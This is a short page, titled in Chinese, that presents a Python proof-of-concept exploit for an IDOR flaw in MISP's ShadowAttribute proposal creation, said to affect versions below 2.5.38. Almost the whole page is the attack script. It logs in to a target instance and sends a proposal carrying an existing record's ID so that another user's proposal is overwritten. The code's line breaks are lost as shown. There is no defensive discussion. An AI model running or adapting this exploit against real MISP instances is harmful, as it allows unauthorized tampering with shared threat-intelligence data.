CVE-2026-9136 MISP ShadowAttribute提案创建IDOR漏洞

import requests import json # CVE-2026-9136 PoC - ShadowAttribute IDOR # Target: MISP < 2.5.38 TARGET_URL = "https://target-misp-instance.com" LOGIN_EMAIL = "[email protected]" LOGIN_PASSWORD = "password123" TARGET_SHADOW_ATTRIBUTE_ID = 12345 # ID of existing shadow attribute to modify EVENT_ID = 67890 # Target event ID def login(): """Authenticate to MISP and get authkey""" session = requests.Session() login_url = f"{TARGET_URL}/users/login" response = session.post(login_url, json={ "email": LOGIN_EMAIL, "password": LOGIN_PASSWORD }) return session if response.status_code == 200 else None def exploit_shadow_attribute_idor(session): """Exploit the IDOR vulnerability by providing existing ID""" # Normal proposal creation - creates new record normal_payload = { "ShadowAttribute": { "event_id": EVENT_ID, "category": "Internal reference", "type": "comment", "value": "Malicious proposal" } } # Malicious payload - overwrites existing record due to IDOR malicious_payload = { "ShadowAttribute": { "id": TARGET_SHADOW_ATTRIBUTE_ID, # Existing record ID "event_id": EVENT_ID, "category": "Internal reference", "type": "comment", "value": "Modified by attacker via IDOR" } } # Send malicious request exploit_url = f"{TARGET_URL}/shadow_attributes/add" response = session.post(exploit_url, json=malicious_payload) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 200 def main(): session = login() if session: success = exploit_shadow_attribute_idor(session) print(f"Exploit {'successful' if success else 'failed'}") else: print("Authentication failed") if __name__ == "__main__": main()